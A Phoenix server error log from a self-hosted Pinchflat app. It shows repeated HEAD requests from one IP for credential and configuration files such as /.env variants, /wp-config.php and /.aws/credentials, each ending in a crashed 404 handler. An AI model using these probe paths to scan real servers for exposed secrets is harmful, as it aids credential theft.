"accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3714.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40268}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\" (truncated) 02:50:29.382 [debug] QUERY OK source="settings" db=0.8ms queue=0.7ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:29.382 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:29.377 [error] #PID<0.3719.0> running PinchflatWeb.Endpoint (connection #PID<0.3718.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.sample ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40288}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3719.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.sample", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDGz9xSNlAQAAWCB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40288}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3718.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.sample", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40288}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3719.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.co (truncated) 02:50:29.377 [error] #PID<0.3721.0> running PinchflatWeb.Endpoint (connection #PID<0.3720.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /wp-config.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40304}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3721.0>, params: %{}, path_info: ["wp-config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"sec-ch-ua-mobile", "?1"}, {"sec-ch-ua-platform", "\"Android\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/wp-config.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDHMdRdF7hMAAWDB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40304}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /wp-config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3720.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/wp-config.php", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40304}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "sec-ch-ua-mobile" => "?1", "sec-ch-ua-platform" => "\"Android\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.6422.113 Mobile Safari/537.36", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3721 (truncated) 02:50:29.379 [error] #PID<0.3722.0> running PinchflatWeb.Endpoint (connection #PID<0.3704.0>, stream id 3) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.env.dist ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3722.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.dist", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDHZJzulxX4AAWEB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3704.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dist", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40242}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3722.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, (truncated) 02:50:29.380 [error] #PID<0.3723.0> running PinchflatWeb.Endpoint (connection #PID<0.3702.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3723.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUnHDH_f6PgBb0AAWFB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3702.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.aws/credentials", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 40226}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3723.0>, params: %{}, path_info: [".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWeb (truncated) 02:50:29.383 [error] 